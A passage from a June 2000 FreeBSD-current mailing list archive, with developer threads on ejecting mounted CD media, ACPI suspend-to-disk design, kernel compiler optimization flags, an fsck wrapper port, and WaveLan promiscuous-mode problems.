to have the media daemon continually ping the drive with the mounted media, and then unmount it in response to the (likely) unit attention condition. > > Then the controller would have to pass that back up to some process that > > would then unmount the drive, which would also give the cd(4) driver its > > final close and allow removal of the media. > > That's pretty much a given part of the media daemon implementation, and > really not all that hard. True enough. It's getting a drive that supports AEN that is hard. Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 1:46: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id A746737B6CC; Mon, 19 Jun 2000 01:46:03 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id KAA38131; Mon, 19 Jun 2000 10:46:02 +0200 (CEST) (envelope-from sos) From: Soren Schmidt Message-Id: <200006190846.KAA38131@freebsd.dk> Subject: Re: -e option to umount? In-Reply-To: <200006190727.AAA06918@mass.osd.bsdi.com> from Mike Smith at "Jun 19, 2000 00:27:35 am" To: msmith@FreeBSD.ORG (Mike Smith) Date: Mon, 19 Jun 2000 10:46:02 +0200 (CEST) Cc: ken@kdm.org (Kenneth D. Merry), FreeBSD-current@FreeBSD.ORG (FreeBSD current users) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Mike Smith wrote: > > That's a cool idea, but unfortunately, it won't work with any hardware I > > know of. > > > > In order for that to work, the CDROM drive would have to generate an AEN > > (Asynchronous Event Notification) and send it to the controller, which > > would have to be capable of functioning as a target as well as an > > initiator. > > Hmm. If SCSI drives are anything like ATAPI drives (and here I confess I > haven't checked), the first I/O after the eject button is pressed will > come back with a marker (eg. check condition) with sense information that > indicates that a user eject was requested. This is not true for the wast majority of ATAPI devices, they plain ignore the eject button if the media is locked. The only drive I've seen this working on is the Onstream ADR tape, which has a whole palette of other problems :) -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 3: 2:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id CD5E937BC37; Mon, 19 Jun 2000 03:02:25 -0700 (PDT) (envelope-from K.J.Koster@kpn.com) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JQSBNAUIV600047L@research.kpn.com>; Mon, 19 Jun 2000 12:02:18 +0200 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Mon, 19 Jun 2000 12:02:17 +0100 Content-return: allowed Date: Mon, 19 Jun 2000 12:02:16 +0100 From: "Koster, K.J." Subject: RE: ACPI project progress report To: 'Bjoern Fischer' , Mitsuru IWASAKI Cc: acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Message-id: <59063B5B4D98D311BC0D0001FA7E4522026D7674@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Just a moment. You talk about doing a `Save-to-Disk' (incl. > system halt), turning power off, maybe adding some hardware or > moving the machine to another location, then switching on again, > restoring the system context, and the machine will proceed as if > nothing had happened, do you? > I think FreeBSD supports something similar already. It's a little outdated by modern computing standards, but it used to be called a "halt" or a "reboot". Advantage of those outdated concepts used to be that you could replace your /kernel, adding for example a new driver for the new hardware, or after a cvsup. Just curious, but are you planning to add such functionality to S4? :) Kees Jan ============================================== Everyone is responsible for his own actions, and (people tend to forget this) the effect they have on others. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 3:29:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 3C8F137BC70 for ; Mon, 19 Jun 2000 03:29:13 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 133ynn-0006DB-00; Mon, 19 Jun 2000 12:29:11 +0200 Received: from [213.6.54.182] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 133yni-0000bG-00; Mon, 19 Jun 2000 12:29:09 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id LAA01249; Mon, 19 Jun 2000 11:46:20 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006190946.LAA01249@Magelan.Leidinger.net> Date: Mon, 19 Jun 2000 11:46:19 +0200 (CEST) From: Alexander Leidinger Subject: Re: compiling kernel with -Os or -O2 To: dmmiller@cvzoom.net Cc: current@FreeBSD.ORG In-Reply-To: <394D5886.F736F395@cvzoom.net> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 18 Jun, Donn Miller wrote: > Anyone try to compile the kernel with an optimization higher than -O, > such as -Os or -O2? For example, when I compile my kernel with -Os, I FreeBSD 5.0-CURRENT #2: Fri Jun 16 17:49:32 CEST 2000 COPTFLAGS= -Os -march=pentiumpro -pipe -Wall -funroll-loops -fschedule-insns2 Works fine here. Bye, Alexander. -- Reboot America. http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 3:40: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from fepa.mail.ozemail.net (fepa.mail.ozemail.net [203.2.192.101]) by hub.freebsd.org (Postfix) with ESMTP id B2EE037B5EA for ; Mon, 19 Jun 2000 03:39:58 -0700 (PDT) (envelope-from obituary@ozemail.com.au) Received: from carcass.au.hartware.com (slnew52p43.ozemail.com.au [203.108.150.121]) by fepa.mail.ozemail.net (8.9.0/8.6.12) with ESMTP id UAA03008; Mon, 19 Jun 2000 20:39:41 +1000 (EST) Received: (from obituary@localhost) by carcass.au.hartware.com (8.9.3/8.9.3) id UAA55314; Mon, 19 Jun 2000 20:37:05 +1000 (EST) (envelope-from obituary) Date: Mon, 19 Jun 2000 20:37:05 +1000 From: "Jacob A. Hart" To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: compiling kernel with -Os or -O2 Message-ID: <20000619203705.A55219@carcass.au.hartware.com> References: <394D5886.F736F395@cvzoom.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="YiEDa0DAkWCtVeE4" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <394D5886.F736F395@cvzoom.net>; from dmmiller@cvzoom.net on Sun, Jun 18, 2000 at 07:17:26PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable A word of advice for those who use modules: If you've recompiled the kernel with -O and the system still won't boot, be sure to set CFLAGS=3D"-O -pipe" in /etc/make.conf so that your modules are also compiled with -O. A -O kernel with -O2 modules _doesn't_ work (on my system anyway). Now that modules are built with the kernel, perhaps COPTFLAGS should be the optimisation variable responsible for both kernel _and_ modules? -jake On Sun, Jun 18, 2000 at 07:17:26PM -0400, Donn Miller wrote: > Anyone try to compile the kernel with an optimization higher than -O, > such as -Os or -O2? For example, when I compile my kernel with -Os, I > get a "fatal trap 12: page fault in supervisor mode" right after I > see this on my screen while the kernel is booting: >=20 > Copyright (c) 1992-2000 The FreeBSD Project. > Copyright (c) 1982, 1986, 1989, 1991, 1993 > The Regents of the University of California. All rights > reserved. > FreeBSD 5.0-CURRENT #0: Sun Jun 18 19:06:34 EDT 2000 > dmmiller@lc210.cvzoom.net:/usr/src/sys/compile/CUSTOM > Timecounter "i8254" frequency 1193182 Hz > CPU: Pentium/P55C (166.45-MHz 586-class CPU) > Origin =3D "GenuineIntel" Id =3D 0x543 Stepping =3D 3 > Features=3D0x8001bf > real memory =3D 62914560 (61440K bytes) >=20 >=20 > This is all the further the boot gets before the page fault. Of > course, as David O'Brien pointed out, optimization levels beyond -O > aren't supported. But, I'm curious as to what the cause of this is, > as it may reveal a deeper problem someplace. For example, is the > problem with binutils, the kernel source code, or both? Hopefully, > we'll find out after the binutils upgrade is complete. >=20 > I should point out that using -O to compile the kernel gives no > problems booting; it's just -Os that causes the problems for me. >=20 > - Donn >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message --=20 Jacob A. Hart Powered by: FreeBSD 5.0-CURRENT #25: Sat Jun 17 14:16:03 EST 2000 I believe the technical term is "Oops!" --YiEDa0DAkWCtVeE4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: xNsGsB2efH0d7H8tVkohd1R2TbRNBjP9 iQA/AwUBOU330H1KIGEEZDODEQI+4wCfdOUnLKQWM7LXBpkG4yn6SuZ9JukAoJ+N Gf9f0ThF6PGNXj707YYgXxEa =Ry8z -----END PGP SIGNATURE----- --YiEDa0DAkWCtVeE4-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 4:42:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id 5962A37B739 for ; Mon, 19 Jun 2000 04:42:34 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 133zwn-000453-00 for freebsd-current@freebsd.org; Mon, 19 Jun 2000 13:42:33 +0200 Date: Mon, 19 Jun 2000 13:42:33 +0200 From: Adrian Chadd To: freebsd-current@freebsd.org Subject: fsck wrappers Message-ID: <20000619134233.O13112@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've ported the NetBSD fsck wrapper to compile and run under FreeBSD. Its probably still very rough, but I'm going to spend the next few days tidying it up. I have also modified our fsck (and renamed it fsck_ffs) to fit this new framework. The source tarball can be found at: http://www.freebsd.org/~adrian/fsck.tar.gz A couple of notes: * the rest of the system treats ffs filesystems as "ufs". Besides the fact that I dislike this, I decided against the NetBSD way of if (strcmp(vfstype, "ufs")) fstype = "ffs"; and have left people to symlink or hardlink fsck_ufs to fsck_ffs. * I've left the CVS directories intact so people can generate their own cvs diff's against the original sources. Appropriate CVSROOT frobbing will be needed. Constructive comments are welcome. Adrian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 5:53:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 844C837B5A6 for ; Mon, 19 Jun 2000 05:53:30 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id B9DDE9B2A; Mon, 19 Jun 2000 07:53:29 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id DA79E1DC6; Mon, 19 Jun 2000 07:53:28 -0500 (CDT) Date: Mon, 19 Jun 2000 07:53:28 -0500 From: "Jacques A . Vidrine" To: Francisco Reyes Cc: "FreeBSD-current@FreeBSD.ORG" Subject: Re: -e option to umount? Message-ID: <20000619075328.J3569@bone.nectar.com> Mail-Followup-To: "Jacques A . Vidrine" , Francisco Reyes , "FreeBSD-current@FreeBSD.ORG" References: <20000618210652.A917@midgard.dhs.org> <200006190354.XAA22495@sanson.reyes.somos.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006190354.XAA22495@sanson.reyes.somos.net>; from fran@reyes.somos.net on Sun, Jun 18, 2000 at 11:54:51PM -0400 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [trimmed cc: list, now including only -current] On Sun, Jun 18, 2000 at 11:54:51PM -0400, Francisco Reyes wrote: > Also speaking from my own experience I would have expected > something like this to be part of the system and would have > never even looked for a port. And you'd find it, at least for SCSI devices, in camcontrol(8). e.g. % camcontrol eject cd0 This works for SCSI tapes as well. -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 6: 3:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from sohara.dyndns.org (pooh.elsevier.nl [145.36.13.27]) by hub.freebsd.org (Postfix) with ESMTP id 41C8637B873 for ; Mon, 19 Jun 2000 06:03:34 -0700 (PDT) (envelope-from steve@sohara.dyndns.org) Received: (from steve@localhost) by sohara.dyndns.org (8.9.3/8.9.3) id OAA28368; Mon, 19 Jun 2000 14:10:35 +0100 (IST) (envelope-from steve) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20000619075328.J3569@bone.nectar.com> Date: Mon, 19 Jun 2000 14:10:35 +0100 (IST) From: "Steve O'Hara-Smith" To: "Jacques A . Vidrine" Subject: Re: -e option to umount? Cc: "FreeBSD-current@FreeBSD.ORG" , Francisco Reyes Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 19-Jun-00 Jacques A . Vidrine wrote: > [trimmed cc: list, now including only -current] > > On Sun, Jun 18, 2000 at 11:54:51PM -0400, Francisco Reyes wrote: >> Also speaking from my own experience I would have expected >> something like this to be part of the system and would have >> never even looked for a port. > > And you'd find it, at least for SCSI devices, in camcontrol(8). > e.g. > > % camcontrol eject cd0 > > This works for SCSI tapes as well. /usr/sbin/cdcontrol -f /dev/acd0c eject works for ATAPI CDs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 8:32:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5]) by hub.freebsd.org (Postfix) with ESMTP id 4EFC337B6BA; Mon, 19 Jun 2000 08:32:29 -0700 (PDT) (envelope-from iwasaki@jp.FreeBSD.org) Received: from localhost (isdn38.imasy.or.jp [202.227.24.230]) by tasogare.imasy.or.jp (8.10.1+3.3W/3.7W-tasogare/smtpfeed 1.07) with ESMTP id e5JFWMp82741; Tue, 20 Jun 2000 00:32:22 +0900 (JST) (envelope-from iwasaki@jp.FreeBSD.org) To: bfischer@Techfak.Uni-Bielefeld.DE Cc: iwasaki@jp.freebsd.org, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <20000619070144.B554@broccoli.no-support.loc> References: <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> <20000619070144.B554@broccoli.no-support.loc> X-Mailer: Mew version 1.94.1 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000620003220R.iwasaki@jp.FreeBSD.org> Date: Tue, 20 Jun 2000 00:32:20 +0900 From: Mitsuru IWASAKI X-Dispatcher: imput version 20000228(IM140) Lines: 32 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, From: Bjoern Fischer Subject: Re: ACPI project progress report Date: Mon, 19 Jun 2000 07:01:44 +0200 Message-ID: <20000619070144.B554@broccoli.no-support.loc> > Just a moment. You talk about doing a `Save-to-Disk' (incl. system halt), > turning power off, maybe adding some hardware or moving the machine > to another location, then switching on again, restoring the system context, > and the machine will proceed as if nothing had happened, do you? Yes, exactly. My rough idea is like this; - do preparation for sleeping state transition for each devices and _PTS (prepare to sleep) control method. - stop all of processes, other sub-system (eg filesystem, memory...) and write contents of memory to dedicated swap partition for "Save-to-Disk" and save system context. - turning power off by manipulating ACPI registers (or just halt the system and user will turning power off). - upon turning power on, BIOS built ACPI tables again if hardware configuration changed during sleeping. Any important device (eg disk controller) configuration changes will cause the restoring system context to fail. - after POST, BIOS passes control to the boot loader in normal case. - load will check whether S4 transition occurred, then restore system context and memory from swap partition. - do _WAK (wakeup) control method, wakeup processes for each devices and re-enable them. Maybe I'm wrong because of lack of my understanding on crush dump and loader. Please help us :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 8:33:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5]) by hub.freebsd.org (Postfix) with ESMTP id 459A837B6BA; Mon, 19 Jun 2000 08:33:28 -0700 (PDT) (envelope-from iwasaki@jp.FreeBSD.org) Received: from localhost (isdn38.imasy.or.jp [202.227.24.230]) by tasogare.imasy.or.jp (8.10.1+3.3W/3.7W-tasogare/smtpfeed 1.07) with ESMTP id e5JFXPp83116; Tue, 20 Jun 2000 00:33:25 +0900 (JST) (envelope-from iwasaki@jp.FreeBSD.org) To: imp@village.org Cc: iwasaki@jp.FreeBSD.org, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org Subject: Re: ACPI project progress report In-Reply-To: <200006190445.WAA53570@harmony.village.org> References: <20000617002156A.iwasaki@jp.FreeBSD.org> <200006190445.WAA53570@harmony.village.org> X-Mailer: Mew version 1.94.1 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000620003323O.iwasaki@jp.FreeBSD.org> Date: Tue, 20 Jun 2000 00:33:23 +0900 From: Mitsuru IWASAKI X-Dispatcher: imput version 20000228(IM140) Lines: 15 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG imp> In message <20000617002156A.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: imp> : Hi, here is the latest report on our ACPI project's progress. imp> imp> As I told you on the Train in Tokyo: Cool! Way Cool! ACPI should imp> enable us to properly put the chipsets in laptops to sleep and then imp> wake them up again. Right now pccard insert/removal can be missed imp> when you put a laptop to sleep... Yes, many of today's laptop BIOS are expecting that OS shouldn handle this kind of things by executing the AML. Good news, recently I wrote accessing ioport stuff (roughly :-) and experimental code for executing _PTS & _WAK method in kernel space. On P2B based system, it seems working fine :-) Next step is implement accessing other bus spaces, physical memory will be the target (and PCI config, SMBus...). Can anybody help us on this? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 9:32:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 2132137B50F; Mon, 19 Jun 2000 09:32:26 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id KAA34670; Mon, 19 Jun 2000 10:32:20 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id KAA60652; Mon, 19 Jun 2000 10:30:53 -0600 (MDT) Message-Id: <200006191630.KAA60652@harmony.village.org> To: Mitsuru IWASAKI Subject: Re: ACPI project progress report Cc: bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 20 Jun 2000 00:32:20 +0900." <20000620003220R.iwasaki@jp.FreeBSD.org> References: <20000620003220R.iwasaki@jp.FreeBSD.org> <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> <20000619070144.B554@broccoli.no-support.loc> Date: Mon, 19 Jun 2000 10:30:53 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000620003220R.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: : Maybe I'm wrong because of lack of my understanding on crush dump and : loader. Please help us :-) I think that you might be able to do this. The real tricky part maybe saving hardware RAM that the drivers expect to be there when you wakeup. I thinking of video ram and the X server's font cache, to name one example. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 9:36:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id E6C6B37B68F; Mon, 19 Jun 2000 09:36:47 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id SAA45527; Mon, 19 Jun 2000 18:36:14 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Warner Losh Cc: Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-reply-to: Your message of "Mon, 19 Jun 2000 10:30:53 MDT." <200006191630.KAA60652@harmony.village.org> Date: Mon, 19 Jun 2000 18:36:14 +0200 Message-ID: <45525.961432574@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006191630.KAA60652@harmony.village.org>, Warner Losh writes: >In message <20000620003220R.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: >: Maybe I'm wrong because of lack of my understanding on crush dump and >: loader. Please help us :-) > >I think that you might be able to do this. The real tricky part maybe >saving hardware RAM that the drivers expect to be there when you >wakeup. I thinking of video ram and the X server's font cache, to >name one example. Drivers will need a "your hardware may have been zonked" entrypoint, think about the i8254 counter or all the weird versions of write only or "write here - read there" I/O registers in existence. Obviously the video driver will need to send a signal or clue to the Xserver saying "you own the device, you'd better do something" -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 9:37:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 2FB9837B90B; Mon, 19 Jun 2000 09:37:32 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id JAA08637; Mon, 19 Jun 2000 09:42:10 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006191642.JAA08637@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Warner Losh Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-reply-to: Your message of "Mon, 19 Jun 2000 10:30:53 MDT." <200006191630.KAA60652@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 19 Jun 2000 09:42:10 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In message <20000620003220R.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: > : Maybe I'm wrong because of lack of my understanding on crush dump and > : loader. Please help us :-) > > I think that you might be able to do this. The real tricky part maybe > saving hardware RAM that the drivers expect to be there when you > wakeup. I thinking of video ram and the X server's font cache, to > name one example. S4 requires the OS to reinitialise peripherals. Some comments I've seen from the Linux folks suggest that we'll have to save and restore the PCI configuration space as well. Basically, resume from S4 is not something that is going to be very easy for us to implement. It'll require every S4-OK driver to re-initialise in the resume method. (Note that we will also need to add suspend-to and resume-from arguments to the relevant driver methods.) We also have a problem in that we'll need a separate suspend file for system memory, since we can't just up and use swap (which may already be busy). I would be inclined to start with some of the easier states first. 8) -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 9:40: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from pinhead.parag.codegen.com (207-44-235-154.CodeGen.COM [207.44.235.154]) by hub.freebsd.org (Postfix) with ESMTP id 7139737B68F; Mon, 19 Jun 2000 09:40:02 -0700 (PDT) (envelope-from parag@pinhead.parag.codegen.com) Received: from pinhead.parag.codegen.com (localhost.parag.codegen.com [127.0.0.1]) by pinhead.parag.codegen.com (8.9.3/8.9.3) with ESMTP id JAA57293; Mon, 19 Jun 2000 09:39:50 -0700 (PDT) (envelope-from parag@pinhead.parag.codegen.com) To: "Kenneth D. Merry" Cc: Mike Smith , FreeBSD current users Subject: Re: -e option to umount? In-Reply-To: Message from "Kenneth D. Merry" of "Mon, 19 Jun 2000 01:28:27 MDT." <20000619012827.A75072@panzer.kdm.org> Organization: CodeGen, Inc. X-Image-URL: http://www.codegen.com/images/CG-logo-only.gif X-URL: http://www.codegen.com X-Face: =O'Kj74icvU|oS*<7gS/8'\Pbpm}okVj*@UC!IgkmZQAO!W[|iBiMs*|)n*`X ]pW%m>Oz_mK^Gdazsr.Z0/JsFS1uF8gBVIoChGwOy{EK=<6g?aHE`[\S]C]T0Wm Date: Mon, 19 Jun 2000 09:39:50 -0700 Message-ID: <57285.961432790@pinhead.parag.codegen.com> From: Parag Patel Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 19 Jun 2000 01:28:27 MDT, "Kenneth D. Merry" wrote: > >In any case, if an error were returned, the only way you could get that >to work would be to have the media daemon continually ping the drive with >the mounted media, and then unmount it in response to the (likely) unit >attention condition. This is how the MacOS does it, at least prior to MacOS X. If the CD-ROM is external and powered-down after the MacOS boots, the Mac then hangs periodically trying to ping it. Really screws up performance. :) -- Parag Patel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 9:59:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from shell.wetworks.org (shell.wetworks.org [63.160.175.19]) by hub.freebsd.org (Postfix) with SMTP id 35E7537BD32 for ; Mon, 19 Jun 2000 09:59:11 -0700 (PDT) (envelope-from abc@shell.wetworks.org) Received: (qmail 37929 invoked by uid 1000); 19 Jun 2000 16:59:11 -0000 Date: Mon, 19 Jun 2000 12:59:11 -0400 From: Alan Clegg To: freebsd-mobile@freebsd.org Cc: freebsd-current@freebsd.org Subject: Re: WaveLan oddness at USENIX Message-ID: <20000619125911.B37655@shell.wetworks.org> References: <20000619124930.A37655@shell.wetworks.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000619124930.A37655@shell.wetworks.org>; from abc@shell.wetworks.org on Mon, Jun 19, 2000 at 12:49:30PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 12:49:30PM -0400, Alan Clegg wrote: > Well, USENIX is the first time I've needed to run in non-'ad-hoc' mode, > and also the first time I've seen any contention for wireless bandwidth. > > I'm seein REALLY odd behavior when I put my wi0 into promiscuous mode.. > > When it goes promiscuous, 'wicontrol' shows that the Current netname (SSID) > gets reset, the BSSID goes to all 4's (ie: 44:44:44:44:44:44) and my net > connection goes into the toilet. > > Any ideas on what is happening? BTW, this is with 5.0-CURRENT cvs'd Saturday 6/17. AlanC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 10: 2:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by 